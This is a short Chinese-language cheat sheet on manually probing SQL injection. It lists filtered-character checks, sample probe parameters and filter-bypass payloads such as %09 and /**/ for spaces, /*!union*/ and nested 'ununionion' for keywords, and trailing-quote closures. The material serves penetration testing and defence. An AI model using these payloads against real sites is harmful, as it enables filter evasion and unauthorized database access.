工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道。
sql注入时手工探测技巧 ==================================================================================================== * 探测过滤了哪些字符 select|.|,|;|'|(|)|#|updatexml|from|where|if|limit|group|by|order|floor|sleep|rand|*|/*|*/information_schema.columns|table_schema|column_name ** 看下面是否和?id=1返回的结果一样,一样则说明被过滤 - 空格是否被过滤 ?id=0 1 - 关键字是否被过滤 ?id=select1 ?id=union1 ?id=insert1 ** 绕过 - 空格可以用%09或/**/替换; - 关键字可以用/*!union*/或ununionion替换 - information_schema.columns可以用information_schema/**/.columns * 探测是否未递归替换 ** 看下面的条件是否为假,为假则说明未递归 - ?id=1 anandd 1=2 * 字符型注入注意, ** 探测语法完整性 - 有时可直接用“#”或“ -- ”注释掉尾部多余的单引号 - 有时不能,必须强制在尾部追加and '1'='1来闭合尾部单引号